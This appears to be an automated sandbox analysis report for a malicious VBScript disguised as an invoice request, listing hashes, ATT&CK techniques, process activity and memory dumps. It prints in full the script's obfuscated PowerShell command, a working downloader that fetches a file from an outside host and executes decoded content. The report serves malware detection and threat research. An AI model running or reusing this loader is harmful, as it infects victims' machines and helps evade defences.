8007c019378d8d9371258d6c5eec34c674333c6410a1e299524bf0cbe45e4b6f

General

Target

Request for Invoice Number.vbs
Size

14KB
MD5

a3deccd21a468366e10004c42b364439
SHA1

42cee1ecb79c140ee40a9efdd204bf84a2301904
SHA256

0ccb57ad1aedffdbdb1a394b230db1396be375ca47b1ff3a0de855819c647252
SHA512

27f049243e52be444b6fe306808b5496da08c4b4180cc55b7106046e00417a785298b84a6f52903f07f2f505d782d5c79d46f48caa1a0c38d9ffa8ba841da7f3
SSDEEP

192:pvJw0eWedwQ4yBbtlqmiimIHnp5geRvLdoPoQD4gopQsW0B2P9UfrMmV6Qb6:Av5Qc5f8onp5geRDdfQ/m/+U1rb6

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2900	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2736	cmd.exe
2804	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2804	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2900	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 2736	2224	WScript.exe	31
PID 2224 wrote to memory of 2736	2224	WScript.exe	31
PID 2224 wrote to memory of 2736	2224	WScript.exe	31
PID 2736 wrote to memory of 2804	2736	cmd.exe	33
PID 2736 wrote to memory of 2804	2736	cmd.exe	33
PID 2736 wrote to memory of 2804	2736	cmd.exe	33
PID 2224 wrote to memory of 2900	2224	WScript.exe	34
PID 2224 wrote to memory of 2900	2224	WScript.exe	34
PID 2224 wrote to memory of 2900	2224	WScript.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for Invoice Number.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\System32\cmd.exe
  cmd.exe /c ping 6777.6777.6777.677e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\PING.EXE
    ping 6777.6777.6777.677e
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Figureless Bostryx Hypernutrition Florentinerne #>;$Novemberish='Omredaktions';<#Sandblsere Frustrationens Twanging Kanutten Capcase Poppes #>;$Snowballing=$host.PrivateData;If ($Snowballing) {$Foragter++;}function Saps($Sterve){$Lygternes=$Befride+$Sterve.Length-$Foragter;for( $Halituosity=7;$Halituosity -lt $Lygternes;$Halituosity+=8){$Cresses='forbarmelses';$Udsugendes100+=$Sterve[$Halituosity];}$Udsugendes100;}function Histological($Raggil){ . ($Condensery) ($Raggil);}$Blusteration=Saps 'praesidMHuggerto ReasonzSp untliFirmandlStolerylUnsplitaImmurem/Bibi ne5 Scrubl.Splanch0 Cerami Forwrap(KeglestW benaadiTripolin T.deledreserveo Friskiw N nmalschaponb NonapprNMadstedTSulfole Tonedv1Palmest0 Me,bra.Udvisni0St pper; Stjern BimodalWTrommesiMarionen alamid6Landsby4Mdendes;Pa alog Ops,litxChlo.gu6 ocali4Hydrocy;Uvildig El oblraffiancvAkutbeh:gookysk1Ketuh o2 Baulki1 Medsky.Ge,onom0Waleri.)Muscula ndebryG quatedeDetonatcSperatek Halvleobogtryk/Connall2Snippi 0Medulla1Adg,nge0Erstatt0Lante n1Liberal0Serpent1Rentepe OtophonF skaberiR fledorBloms,eeTktordrfionisinoFridelaxCi iifo/Pancrea1Raflede2Urbifyk1 ladyki. Mond.t0Neglect ';$Unattaining=Saps 'TvillinuHoppingSSka tehERaadighrPrognos-Bogt lrA P,legmgStefansEC mmissNM.luesrTHyrdebr ';$Aripple=Saps 'PersicohGyrodactDiskusstReimpatp Viewin: rbour/Ho.elle/HanovercPreexclhTennefoaKrnedeun nprivadMicroelaL thelyrRoderictKommand.Valutatr tockcoSemitub/ SlringS Halavaa rafikalHeliolaoOvertegnJordfyle arosserUds,velnSillin eAmph.bos iesnat.Degnestpadve tnsYmpedesd Term.t ';$Fartskrivernes=Saps 'Foruren>Klukket ';$Condensery=Saps 'P.otoceI ortrayEanstrygXStren,e ';$Navneordet='Stnkeskrmenes';$Fejludskrift='\Persuading.Dho';Histological (Saps 'Stammeo$Billed gwavi,talKlonin o Vi.ensbReligioaUddyb.nlF,rkrnk:Bilfab,v conveyeOrganizd arch,cbSektionl iandene AfgnavvImpulsfnNegerineUnelatesrealite=Militar$ElaeopteRaceblan PlebicvSeidels: BeadhoaCorbellpAnnoncep Efterfd,akadueaparteritGentisiaSl yeda+ Progra$PeabraiF Laasnie MensurjKurererl Fina suSkalde,d ropicesno cohekSnydetarGlazilyiGevrko f BiklantHenvisn ');Histological (Saps 'Jarl,mm$FoggertgPolarogltsjap mo InutilbVonsforaVa,komalUda tni:Ekspe eDRosmarie questrn Dimerit Friha e SumbullBassondlNyh dsaoBrunopr=Ayenbit$DetenusATor indrSortkuniInf angpFlo,tplp BastialCacop teFiguriz.MisapprsExadverpCentriflO lysniiBolshevt G unds(Coustum$Frilu,tFGraysonaOgreishrPigsti.tsi usdyswanderskFoldeder ismayei,dfaldsvSmlendeevind ser Beneddn RagouteCh irops lyveha)Fortjen ');Histological (Saps ' Friter[GrundskNNonnecee SpacebtForskre.AftercoS,owelizeChartrirBonn tsvMaorihuiDkningecFrithjoeRefractP Assay.oGastropiRetsmedn Sh nintTillberMRd.ungea CumananYonk,lla Overn,gKomplemeKalkvrkrSpirit ]Informa:.onadja: Te mogSdistinke KnollecpostveruT,lflytrBrnebogiMikvehst formicyFleshemPconcordrUnderk.oAfpropstForfriso IdriftcOverr boBangwakl refact Hip oc=Dusse a Blamage[Fae iesN InaugueRel.clitCent eb.ElektroSRentesaeSjuskercEft raauRoyaltyrJello liReshapetamagerbyHov.dtePJe.brynrFolcasvoProdemotStumfiloGaranticMu.ticaoSpadesnlBefstedTReg onsy reetabpTornsaneBarbwir]Van.ern:Eche oo: ParticTW ukensl Toftersceno.ap1Wholesa2 Indb r ');$Aripple=$Dentello[0];$Babyboom=(Saps 'Paranoi$AtomprogSaucemaLYdervero MnemonbGnisttnaCoadunaLValgkon:AlbueskIWorset N oliolTRevivalE erbertRS aanplvSvigetseN dslagnVitalisT S rataiSarsonroRadiatiNRumm gye Amp,rerGen embsTorumsl=PeoplerNAmentiaeHeparinWWickert-Kipuka OMillemaBShelfbaJFlaringETinfoliC kommisTunadvan SalgsamS Snar eYCanthorS UnivertButikstEBea bejmPsykoso.FicusseN disaffeBrugsmstHypheni.fabulanwRust ciEBowles,B nonuniCMonachil VatteriS.atsmie tricykN Foldy,t Risiko ');Histological ($Babyboom);Histological (Saps ' Til yl$Ecblas IOff,rplnMonasjat eltereNonvex r TomganvSsonslueBarbec nWe.locktFirsaariunfertioSlikpornMinisteeLegitimrIm redisSlidstr.TohaandH eksualeBugf nna olivadRremaske oscanirKorkp.es,ranten[Ddsbose$ Tumul UHdrevivn nfrounatermitatAcidi it,kruegnaTaalmodiBogan rnComposiidkseletnstandargProfess]Brugers=Indre s$ HuaridBO erratl egeleuMiljforsThoughttBrugerseSeggi sr.requenaChervantPi niceiSluse ooAca thonC.unter ');$Saettemaskine=Saps ' Bow.tr$HvilkerIAllotypn DuratitPrankiseEn.omicrimpartev,atrioteSyld.tenHovedfitintrainiUnfretfoCoun ern.tudiese Sty,efrBuggjorsFotosta. SvanekDJanisaroF rhandwSignatanDampvaslBoomerao databaaMesocradIntergaFStuntmeiDeprivelSkraabjeLysst.a( Afroas$TheophrATrag.skr FillowiBegrebnp KlistepVicarshlHom cide Revoti,Ankerpl$ChemigrS BankkolRed,ablaGanosisnMotoriskPrincewnskrivebiboreanpnCong,algRhynchoeBrodererforklejn LandereSinssyg)Aestuar ';$Slankningerne=$vedblevnes;Histological (Saps 'Nordafr$EuonymuGSenegall H ttenOSynkefrBpirringAY rvaasLMargi.a: augraiUDozer nnNdlgnenDpligt,oeRonionsR Arbejdkkonver,aAlvorssnLy kopitKursspreRenteforUnrefris Kvantu=Unchris(ErithactAmtsdirEGourmetSCykel.uT Betali-Kon ortpKildernAGraveshTBluseleHFora rs diolat$TjhusedsStueflulEvincibaChafebrnRvesaksk Ref,eknDobbeltiFrikassNLyseholG TveggeEFlygtesre ectron Snubbye Gyngeh)Airplay ');while (!$Underkanters) {Histological (Saps 'Idemand$Sn,psacg EnemrklPseudoaoDokumenb UlotriaStrbernlSplenoh:ImpregaE WatersrKnurrenuN minerdSan,elti.imredetSat ner9slubbyn9 Punctu=M,lthas$Attachmt MidterrPredamnuRuskregeExoteri ') ;Histological $Saettemaskine;Histological (Saps 'PragtbiSKonbroltTenpinmaDeodo arStra.fetPintada-AcroconSInterknlOpdrtteeAnoascheSubjectpPassatv Anlgsre4 Phaedo ');Histological (Saps 'Inco cl$UrotoxigDybkletlSt rhero Hde krbParadiaaH.rendelVindst :Fe.alizUPdag,genAuletehdStak enevivi.strSkortwakArcti saP.ratfinAgtersttPersuadeUngradarOpga,efsFu kfol=Deponer(RoulereTskrigeueUlfh,ldsT.hadertU ulius- PolyteP ForfinaeatsgantIndstifh Forh n ubisolo$Pilote S TemperlSekund.aAlgerienMaledickPolygonnKlatvasiNod lisnFrisagegT iosuleThyroidrAntiamynRebeho eTransmi) ilitrt ') ;Histological (Saps 'Pigroot$AutocargSammenrlErh ervoDatadelb NonregaSuperablDoedsfa:B.lanceI SpittinTrvlernf.ishkesiAdv.sercOffi iae GrammarScenogreVinalsinDyttededcorolitePyeloc.= E.nsbe$ ArithmgGammodel DispiroRhynchobConduciaFriestelUn xult: BarbadS OrlanmiUdrensns lnoversRosci,aoFngslinoSuburbi+.ameksi+Vlg rmd%Udskrig$harlotoDVirkelieudst elnArtiskotHe.sesae yomralDabblinlEnkeltsoUnmutte.R,montecL.ddedeoIncforsuNd ingen Regnskt Destuf ') ;$Aripple=$Dentello[$Inficerende];}$Pantodon=306682;$Vaticination=33879;Histological (Saps 'Frivoli$ BommedgS orogel PhlyctoCompl,cbconciseaDri twelMicropr: MittatSDo nweitFlagsmyaGyrothem Pepperp ndepreeStr.kunrSkudveknHemi eleAn icne Lhegne =S ndbjn Ren netG Ant exeKirkegat Repoll-GamolepCLinieudo Stivnan Mandlit Neologe ArsoninSplendatP etele Rbendec$B,okninS KonomilLynfro aStrmfrenSandhedkOblatkan remtidimicroplnTo.ayergSmeltepe T entarBordellnKabelfreScillit ');Histological (Saps ' Bj rgb$Ventilag CenterlregistroGummibabTroke.laVictor,l Ildflu:SolosanODansk mpPaleocrsElek roeKartotejOutblazlBugthv.i SkrivendistribgUneu,hee EpisporHaardtsnNit omeeSph.cel phlebe=Dobbelt Ope ate[IbldstnSSvagsynyIlyr,desHjrebentMercadee.epetitmOust.ac. L deliCunderafo UdborinHnsehusvDividepe ,onfrar.lstermtNapieri]Antiato:Praepos:CyrillaFZavijavrPhotop oUnbendem FuckupBLilacinaSprednis ncrimseOce.lat6Musk la4 LianatSFo sikrtUforsrgrbideviniOpsendenAmicuseg Flerdo(Lssespr$ chubinSPterygotR.visoraPrevenem nfleutp enterleTilranirAndriasnSkraabaeFarfade)Attribu ');Histological (Saps ' Udtydn$AshozusgThermodlTelesm,oTylvt rb onoreaF idsprlDraysja:Ruch ddIHogbus,n lighttd Banansestut erkJahvehcs Ekspore XanthorNeutralnUdpreseeSp tten Brudsty=Trapdoo Archaic[VardensSS utbruyOpholdssChemo etWri,gleeLand,fam atalys.Tric trT iverbeeFr mdrixFrockcitWhiglet.AfmilitEFedternnDeriverc Fenze oRend stdUndormaiOverbran galeasg Heezed] traale:n ternt:P atnktAEneb erSOplevelCPe ticiIRgvare ICf truo. DyotheG AngiomeSnigs yt NongraSAnkertrttrophoprInceptiiUnmutatnAffektigPimpeto(De nigh$ PrepotO ourspp Sm apisScoadsueLaicizij Em yrelmukteariaflurinnfarbrorgovernate ReweddrBlan uenBrugesieTyresds)Solutis ');Histological (Saps ',ommoti$BataljegviseliglKaa,edeo Ve.gaab PolyaraBosaettlStjerth:SolidifM Bodoune Gs eard .orsacfSibbedqo Klag,ar ThermofCideresaPsychictUnrelentJ bselueTredjebrBrokkedsHyp,bul=Vidnesb$NationaIIntersonRoutinidMan,feseToughsckOpsprins endeteeSentencrBlastosn KvlesdeSkrmblo.Non,niosIndigesuFortrinbAimingas Gl.ciet ecapparPeatmaniAft tsfn IdiomsgAkkumu,(Thomism$Alumi iP PredisakatastrnPrsentetJunip roPenduled.ningenoOwnerlenRedispe,Rettes $P.orefoVContinuaCommisst UnavowiCa talocvetosaaiOmgretnnItineraaBjrnetjtKonst uiMdeaftnoFlaskehn Ventep)Hematei ');Histological $Medforfatters;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2900-4-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/2900-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2900-6-0x0000000001D00000-0x0000000001D08000-memory.dmp

Filesize
32KB

Download
memory/2900-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-8-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-10-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-12-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-13-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/2900-14-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-15-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2900-16-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing